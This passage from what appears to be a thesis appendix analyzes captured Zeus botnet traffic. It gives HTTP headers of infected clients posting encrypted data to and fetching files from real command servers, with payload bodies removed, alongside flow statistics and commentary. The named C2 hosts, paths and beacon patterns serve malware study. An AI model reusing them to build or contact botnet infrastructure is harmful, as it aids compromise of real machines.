Host: moneytrax.de 

Content-Length: 120 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 301 Moved Permanently 

Date: Thu, 03 Apr 2014 21:12:04 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 
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Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Location: http://www.moneytrax.de/images/upload/file.php 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=1, max=99 

Connection: Keep-Alive 

Content-Type: text/html; charset=UTF-8 

 

    For this connection, Argus created two flows, one for the requests and responses and 

another with packets to close the connection. 

Table A-9: Flows from Eighth Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1050 92.51.171.104 80 2.086494 1076 1323 7 6 

1050 92.51.171.104 80 0.069114 60 54 1 1 

 

 

Ninth Connection: Source Port 1051, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

Again the request and response were repeats of earlier connections.           

 

 

GET /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.moneytrax.de 

Connection: Keep-Alive 

Cache-Control: no-cache 
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HTTP/1.1 404 Not Found 

Date: Thu, 03 Apr 2014 21:12:04 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Vary: Accept-Encoding 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Transfer-Encoding: chunked 

Content-Type: text/html; charset=UTF-8 

 

( html/script content removed ) 

 

    For this connection, Argus created one flow.  

Table A-10: Flows from Ninth Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1051 92.51.171.104 80 0.418963 911 13775 12 12 

 

 

Tenth Connection: Source Port 1052, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

Again the request and response were repeats of earlier connections.       

 

 

GET /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 
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Host: www.moneytrax.de 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

 

HTTP/1.1 404 Not Found 

Date: Thu, 03 Apr 2014 21:12:05 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Vary: Accept-Encoding 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Transfer-Encoding: chunked 

Content-Type: text/html; charset=UTF-8 

 

( html/script content removed ) 

 

    For this connection, Argus created one flow.  

Table A-11: Flows from Tenth Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1052 92.51.171.104 80 0.419469 911 13775 12 12 

 

 

Eleventh Connection: Source Port 1053, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of two requests from the local 

client to the remote server with corresponding responses from the remote server.  Again 

the requests and responses were repeats of earlier connections.           
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POST /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: moneytrax.de 

Content-Length: 120 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

(binary content removed ) 

 

HTTP/1.1 301 Moved Permanently 

Date: Thu, 03 Apr 2014 21:12:10 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Location: http://www.moneytrax.de/images/upload/file.php 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Content-Type: text/html; charset=UTF-8 

 

 

POST /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: moneytrax.de 

Content-Length: 120 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 
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HTTP/1.1 301 Moved Permanently 

Date: Thu, 03 Apr 2014 21:12:11 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Location: http://www.moneytrax.de/images/upload/file.php 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=1, max=99 

Connection: Keep-Alive 

Content-Type: text/html; charset=UTF-8 

 

    For this connection, Argus created two flows, one for the requests and responses and 

another with packets to close the connection. 

Table A-12: Flows from Eleventh Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1053 92.51.171.104 80 2.125171 1076 1323 7 6 

1053 92.51.171.104 80 0.070738 60 54 1 1 

 

 

Twelfth Connection: Source Port 1054, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

Again the request and response were repeats of earlier connections.       

 

 

GET /images/upload/file.php HTTP/1.1 

Accept: */* 
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User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.moneytrax.de 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

 

HTTP/1.1 404 Not Found 

Date: Thu, 03 Apr 2014 21:12:10 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Vary: Accept-Encoding 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Transfer-Encoding: chunked 

Content-Type: text/html; charset=UTF-8 

 

( html/script content removed ) 

 

    For this connection, Argus created one flow.  

Table A-13: Flows from Twelfth Connection in File 32c 

sport daddr dport Dur sbytes dbytes spkts dpkts 

1054 92.51.171.104 80 0.427232 911 13775 12 12 

 

 

Thirteenth Connection: Source Port 1055, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

Again the request and response were repeats of earlier connections.       
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GET /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.moneytrax.de 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

 

HTTP/1.1 404 Not Found 

Date: Thu, 03 Apr 2014 21:12:11 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Vary: Accept-Encoding 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Transfer-Encoding: chunked 

Content-Type: text/html; charset=UTF-8 

 

( html/script content removed ) 

 

    For this connection, Argus created one flow.  

Table A-14: Flows from Thirteenth Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1055 92.51.171.104 80 0.419937 911 13775 12 12 

 

 

  



195 

 

Fourteenth Connection: Source Port 1056, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of two requests from the local 

client to the remote server with corresponding responses from the remote server.  Again 

the requests and responses were repeats of earlier connections.           

 

 

POST /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: moneytrax.de 

Content-Length: 120 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 301 Moved Permanently 

Date: Thu, 03 Apr 2014 21:12:17 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Location: http://www.moneytrax.de/images/upload/file.php 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Content-Type: text/html; charset=UTF-8 

 

 

POST /images/upload/file.php HTTP/1.1 

Accept: */* 
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User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: moneytrax.de 

Content-Length: 120 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 301 Moved Permanently 

Date: Thu, 03 Apr 2014 21:12:17 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Location: http://www.moneytrax.de/images/upload/file.php 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=1, max=99 

Connection: Keep-Alive 

Content-Type: text/html; charset=UTF-8 

 

    For this connection, Argus created one flow.  

Table A-15: Flows from Fourteenth Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1056 92.51.171.104 80 2.115750 1076 1323 7 6 

 

 

Fifteenth Connection: Source Port 1057, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

Again the request and response were repeats of earlier connections.       
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GET /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.moneytrax.de 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

 

HTTP/1.1 404 Not Found 

Date: Thu, 03 Apr 2014 21:12:17 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Vary: Accept-Encoding 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Transfer-Encoding: chunked 

Content-Type: text/html; charset=UTF-8 

 

( html/script content removed ) 

 

    For this connection, Argus created one flow.  

Table A-16: Flows from Fifteenth Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1057 92.51.171.104 80 0.429810 911 13775 12 12 
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Sixteenth Connection: Source Port 1058, Destination IP 92.51.171.104 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

Again the request and response were repeats of earlier connections.       

 

 

GET /images/upload/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.moneytrax.de 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

 

HTTP/1.1 404 Not Found 

Date: Thu, 03 Apr 2014 21:12:18 GMT 

Server: Apache/2.2.22 (Ubuntu) 

X-Powered-By: PHP/5.3.10-1ubuntu3.10 

X-Pingback: http://www.moneytrax.de/xmlrpc.php 

Expires: Wed, 11 Jan 1984 05:00:00 GMT 

Cache-Control: no-cache, must-revalidate, max-age=0 

Pragma: no-cache 

Vary: Accept-Encoding 

Keep-Alive: timeout=1, max=100 

Connection: Keep-Alive 

Transfer-Encoding: chunked 

Content-Type: text/html; charset=UTF-8 

 

( html/script content removed ) 

 

 

     

For this connection, Argus created one flow.  
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Table A-17: Flows from Sixteenth Connection in File 32c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1058 92.51.171.104 80 0.428781 911 13775 12 12 

 

     In this sample file (32c), the bot received a successful response from the first server, 

but did not receive a successful response from the second server, even after multiple 

attempts.  As a result, not much was learned about the network communications behavior 

based on the connections in this sample.  The infected client made requests using both the 

POST and GET methods.  The POST requests each included an encrypted message body 

but the GET requests did not.  In all cases a resource named “file.php” was specified.  

The message body returned in the response to the failed GET request was an HTML text 

document with its language set to German, which is consistent with the domain 

registration.  The sequence and timing of requests, based on the Date header in the 

responses, appeared to be two POST requests followed by two GET requests every five 

seconds.  This was likely due to the fact that the server was not finding that resource.  

Note that the bot made several failed attempts to contact IP address 91.220.62.10, 

registered to a Russian service provider, before a DNS query of tandembikesoftware.com 

returned the IP address 173.255.227.44 and the first connection was established.  

Immediately following that first connection, a DNS query of moneytrax.de returned the 

IP address 92.51.171.104 seen in all subsequent connections.  According to ZeuS 

Tracker, none of these IP addresses were previously identified as Zeus servers. 

  



200 

 

Sample File b8c collected on 27 Mar 2014 with total time of 5 minutes 4 seconds 

     This network trace sample file consisted of 15 successful TCP connections, as 

summarized in the following table.  A column is included in the table to indicate whether 

the connection was preceded by a DNS query when the HTTP Host Header field 

specified a domain name as opposed to an IP address.  In this case an IP address was 

specified for the suspicious server. 

Table A-18: Summary of Connections in File b8c 

Source Port Destination IP HTTP Host Header DNS? 

1029 37.0.123.150 37.0.123.150 n/a 

1030 37.0.123.150 37.0.123.150 n/a 

1032 173.194.67.105 www.google.com Yes 

1033 173.194.67.94 www.google.nl Yes 

1034 37.0.123.150 37.0.123.150 n/a 

1041 37.0.123.150 37.0.123.150 n/a 

1043 37.0.123.150 37.0.123.150 n/a 

1044 37.0.123.150 37.0.123.150 n/a 

1045 37.0.123.150 37.0.123.150 n/a 

1046 37.0.123.150 37.0.123.150 n/a 

1047 173.194.67.105 www.google.com Yes 

1048 173.194.67.94 www.google.nl Yes 

1049 37.0.123.150 37.0.123.150 n/a 

1050 37.0.123.150 37.0.123.150 n/a 

1055 37.0.123.150 37.0.123.150 n/a 



201 

 

 

First Connection: Source Port 1029, Destination IP 37.0.123.150 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a POST method, specified a resource named “o.bin” along with its relative 

path.  The request included a message body with a length of 122 bytes.  The message 

body contained no readable text.  The Host header specified an IP address rather than a 

domain name.  The Cache-Control header specified No-Cache to prevent caching by all 

caching mechanisms in proxies or gateways along the request chain.  The Connection 

header specified Keep-Alive to explicitly maintain a persistent connection after the 

response was complete, suggesting that additional requests might follow.  The response, 

successful status code 200 OK, included a message body with a length of 5328 bytes.  

The message body contained no readable text, which is consistent with the value of 

Application/Octet-stream for the Content-Type header.  The Connection header specified 

Close to close the connection upon completion.  The Last-Modified header was used to 

enable cache validation of this resource.  The ETag header was also used in this response.  

It specified a value to distinguish this entity from other variants of this resource (o.bin).   

 

 

POST /administrator/cache/modules/tmp/com/o.bin HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: 37.0.123.150 

Content-Length: 122 

Connection: Keep-Alive 

Cache-Control: no-cache 
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( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 20:15:30 GMT 

Server: Apache/2.2.26 (CentOS) 

Last-Modified: Sun, 16 Mar 2014 09:42:42 GMT 

ETag: "363668-14d0-4f4b61fd32880" 

Accept-Ranges: bytes 

Content-Length: 5328 

Connection: close 

Content-Type: application/octet-stream 

 

( non-readable content removed ) 

 

 

     A query of ZeuS Tracker produced no matches for the server observed in this 

connection.  A query using whois indicated that the IP address belongs to a block 

assigned to a service provider in Russia.   

    For this connection, Argus created one flow.  

Table A-19: Flows from First Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1029 37.0.123.150 80 0.222165 770 6094 7 9 

 
 

Second Connection: Source Port 1030, Destination IP 37.0.123.150 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request and response in this connection were almost identical to those in the previous 
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connection with one notable exception: the request had a message body with a length of 

128 bytes.  The response returned the same content with an updated timestamp.      

 

 

POST /administrator/cache/modules/tmp/com/o.bin HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: 37.0.123.150 

Content-Length: 128 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 20:15:27 GMT 

Server: Apache/2.2.26 (CentOS) 

Last-Modified: Sun, 16 Mar 2014 09:42:42 GMT 

ETag: "363668-14d0-4f4b61fd32880" 

Accept-Ranges: bytes 

Content-Length: 5328 

Connection: close 

Content-Type: application/octet-stream 

 

( non-readable content removed ) 

 

    For this connection, Argus created one flow.  

Table A-20: Flows from Second Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1030 37.0.123.150 80 0.335894 776 6094 7 9 
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Third Connection: Source Port 1032, Destination IP 173.194.67.105 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was an example of the Google Webhp redirect and beyond the scope of 

this work.      

 

 

GET /webhp HTTP/1.1 

Accept: */* 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.google.com 

Cache-Control: no-cache 

 

 

HTTP/1.1 302 Found 

Cache-Control: private 

Content-Type: text/html; charset=UTF-8 

Location: 

http://www.google.nl/webhp?gfe_rd=cr&ei=_YY0U4bJLouB0AXy_YDQAg 

Content-Length: 263 

Date: Thu, 27 Mar 2014 20:15:57 GMT 

Server: GFE/2.0 

Alternate-Protocol: 80:quic 

Connection: close 

 

( html content removed ) 

 

A query using whois indicated that the IP address was assigned to Google, Inc. 

    For this connection, Argus created one flow.  
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Table A-21: Flows from Third Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1032 173.194.67.105 80 0.247901 467 824 5 5 

 
 
Fourth Connection: Source Port 1033, Destination IP 173.194.67.94 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was an example of the Google Webhp redirect and beyond the scope of 

this work.      

 

 

GET /webhp?gfe_rd=cr&ei=_YY0U4bJLouB0AXy_YDQAg HTTP/1.1 

Accept: */* 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Cache-Control: no-cache 

Host: www.google.nl 

 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 20:15:58 GMT 

Expires: -1 

Cache-Control: private, max-age=0 

Content-Type: text/html; charset=UTF-8 

Set-Cookie: 

PREF=ID=035996bfe2cc00fc:FF=0:TM=1395951358:LM=1395951358:S=Fa05PSFNnmB

MOXGF; expires=Sat, 26-Mar-2016 20:15:58 GMT; path=/; domain=.google.nl 

Set-Cookie: NID=67=PNF1MlHrllqGvyUScU3-

cu7JJ8uQQoT8PXzsSe_N2IJrh2OgJjsQ3oVOi1MdKwCoKGGjbtigQtEy4z73Z38AqYAh1MY

pWb0SsFcn1xFJmGfCQZH5Fr0JsqFqInG4UCAl; expires=Fri, 26-Sep-2014 

20:15:58 GMT; path=/; domain=.google.nl; HttpOnly 

P3P: CP="This is not a P3P policy! See 
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http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165

7 for more info." 

Server: gws 

X-XSS-Protection: 1; mode=block 

X-Frame-Options: SAMEORIGIN 

Alternate-Protocol: 80:quic 

Connection: close 

 

( html/script content removed ) 

 

A query using whois indicated that the IP address was assigned to Google, Inc. 

    For this connection, Argus created one flow.  

Table A-22: Flows from Fourth Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1033 173.194.67.94 80 0.324819 1222 30529 17 25 

 
 
 
Fifth Connection: Source Port 1034, Destination IP 37.0.123.150 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a POST method, was very similar to those in the first two connections 

except that a different resource was specified (“t.php”) and the content length was 373 

bytes.  The response, successful status code 200 OK, included a message body with a 

length of 64 bytes.  The message bodies of both the request and response contained no 

readable text.  Again the response specified Close in the Connection header to close the 

connection after completion.      
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POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: 37.0.123.150 

Content-Length: 373 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 20:15:58 GMT 

Server: Apache/2.2.26 (CentOS) 

X-Powered-By: PHP/5.2.17 

Content-Length: 64 

Connection: close 

Content-Type: text/html; charset=UTF-8 

 

( non-readable content removed ) 

 

    For this connection, Argus created one flow.  

Table A-23: Flows from Fifth Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1034 37.0.123.150 80 0.559220 901 535 5 5 

 
 
Sixth Connection: Source Port 1041, Destination IP 37.0.123.150 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was nearly identical to the one in the first connection specifying the 

“o.bin” resource, only the timestamp of the response was different.  However, even 
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though the length of the request message body was again 122 bytes, its content was 

different.  The content of the response message body was the same.  

 

 

POST /administrator/cache/modules/tmp/com/o.bin HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: 37.0.123.150 

Content-Length: 122 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 20:17:31 GMT 

Server: Apache/2.2.26 (CentOS) 

Last-Modified: Sun, 16 Mar 2014 09:42:42 GMT 

ETag: "363668-14d0-4f4b61fd32880" 

Accept-Ranges: bytes 

Content-Length: 5328 

Connection: close 

Content-Type: application/octet-stream 

 

( non-readable content removed ) 

 

    For this connection, Argus created one flow.  

Table A-24: Flows from Sixth Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1041 37.0.123.150 80 0.258363 770 6094 7 9 
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Seventh Connection: Source Port 1043, Destination IP 37.0.123.150 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was very similar to the one in the fifth connection specifying the “t.php” 

resource, both request and response contained message bodies with no readable text.  The 

message body of the request had a length of 519 bytes and unique content in this 

connection.  The message body of the response again had a length of 64 bytes but had 

different content.      

 

 

POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: 37.0.123.150 

Content-Length: 519 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 20:17:57 GMT 

Server: Apache/2.2.26 (CentOS) 

X-Powered-By: PHP/5.2.17 

Content-Length: 64 

Connection: close 

Content-Type: text/html; charset=UTF-8 

 

( non-readable content removed ) 

 

    For this connection, Argus created one flow.  
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Table A-25: Flows from Seventh Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1043 37.0.123.150 80 0.301378 1047 535 5 5 

 
 
 
Eighth Connection: Source Port 1044, Destination IP 37.0.123.150 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was very similar to those in the fifth and seventh connections specifying 

the “t.php” resource.  Both request and response contained message bodies with no 

readable text.  The message body of this request had a length of 1209 bytes and unique 

content.  The message body of the response again had a length of 64 bytes but again had 

new content.           

 

 

POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: 37.0.123.150 

Content-Length: 1209 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 20:17:58 GMT 

Server: Apache/2.2.26 (CentOS) 

X-Powered-By: PHP/5.2.17 

Content-Length: 64 

Connection: close 
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Content-Type: text/html; charset=UTF-8 

 

( non-readable content removed ) 

 

    For this connection, Argus created one flow. 

Table A-26: Flows from Eighth Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1044 37.0.123.150 80 0.353216 1792 589 6 6 

 
 
 
Ninth Connection: Source Port 1045, Destination IP 37.0.123.150 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was again very similar to those in previous connections specifying the 

“t.php” resource, both request and response contained message bodies with no readable 

text.  The message body of this request had a length of 532 bytes and unique content.  

The message body of the response again had a length of 64 bytes but again had new 

content.                

 

 

POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: 37.0.123.150 

Content-Length: 532 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 
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HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 20:17:58 GMT 

Server: Apache/2.2.26 (CentOS) 

X-Powered-By: PHP/5.2.17 

Content-Length: 64 

Connection: close 

Content-Type: text/html; charset=UTF-8 

 

( non-readable content removed ) 

 

    For this connection, Argus created one flow.  

Table A-27: Flows from Ninth Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1045 37.0.123.150 80 0.399279 1060 535 5 5 

 
 
Tenth Connection: Source Port 1046, Destination IP 37.0.123.150 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was again very similar to those in previous connections specifying the 

“t.php” resource, both request and response contained message bodies with no readable 

text.  The message body of this request again had a length of 532 bytes but with unique 

content.  The message body of the response again had a length of 64 bytes but again had 

new content.                     

 

 

POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: 37.0.123.150 
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Content-Length: 532 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 20:17:58 GMT 

Server: Apache/2.2.26 (CentOS) 

X-Powered-By: PHP/5.2.17 

Content-Length: 64 

Connection: close 

Content-Type: text/html; charset=UTF-8 

 

( non-readable content removed ) 

 

    For this connection, Argus created one flow.  

Table A-28: Flows from Tenth Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 

1046 37.0.123.150 80 0.406927 1060 535 5 5 

 
 
 
Eleventh Connection: Source Port 1047, Destination IP 173.194.67.105 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was an example of the Google Webhp redirect and beyond the scope of 

this work.      

 

 

GET /webhp HTTP/1.1 

Accept: */* 



214 

 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.google.com 

Cache-Control: no-cache 

 

 

HTTP/1.1 302 Found 

Location: 

http://www.google.nl/webhp?gfe_rd=ctrl&ei=doc0U6vrLsf10gW2u4DwCQ&gws_rd

=cr 

Cache-Control: private 

Content-Type: text/html; charset=UTF-8 

Set-Cookie: 

PREF=ID=528718a0f6ccff38:FF=0:TM=1395951478:LM=1395951478:S=EYt_JCPPFmn

Vi52v; expires=Sat, 26-Mar-2016 20:17:58 GMT; path=/; 

domain=.google.com 

Set-Cookie: NID=67=DHBEP51svy1Znu-

1O0ee4KDWRFcJ83YokQCacQfAa1ySQY4luMNVlVHMfyrSlfehgLMFzxtxmPlh9fv9wyZ5pU

ZhOt7n9ozyzsKKTG5yFqI8Z93W5862DPyCMJQsYrSi; expires=Fri, 26-Sep-2014 

20:17:58 GMT; path=/; domain=.google.com; HttpOnly 

P3P: CP="This is not a P3P policy! See 

http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165

7 for more info." 

Date: Thu, 27 Mar 2014 20:17:58 GMT 

Server: gws 

Content-Length: 279 

X-XSS-Protection: 1; mode=block 

X-Frame-Options: SAMEORIGIN 

Alternate-Protocol: 80:quic 

Connection: close 

 

( html content removed ) 

 

    For this connection, Argus created one flow.  

Table A-29: Flows from Eleventh Connection in File b8c 

sport daddr dport dur sbytes dbytes spkts dpkts 
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1047 173.194.67.105 80 0.155842 467 1422 5 5 

 
 
 
Twelfth Connection: Source Port 1048, Destination IP 173.194.67.94 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was an example of the Google Webhp redirect and beyond the scope of 

this work.      

 

 

GET /webhp?gfe_rd=ctrl&ei=doc0U6vrLsf10gW2u4DwCQ&gws_rd=cr HTTP/1.1 

Accept: */* 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Cookie: 

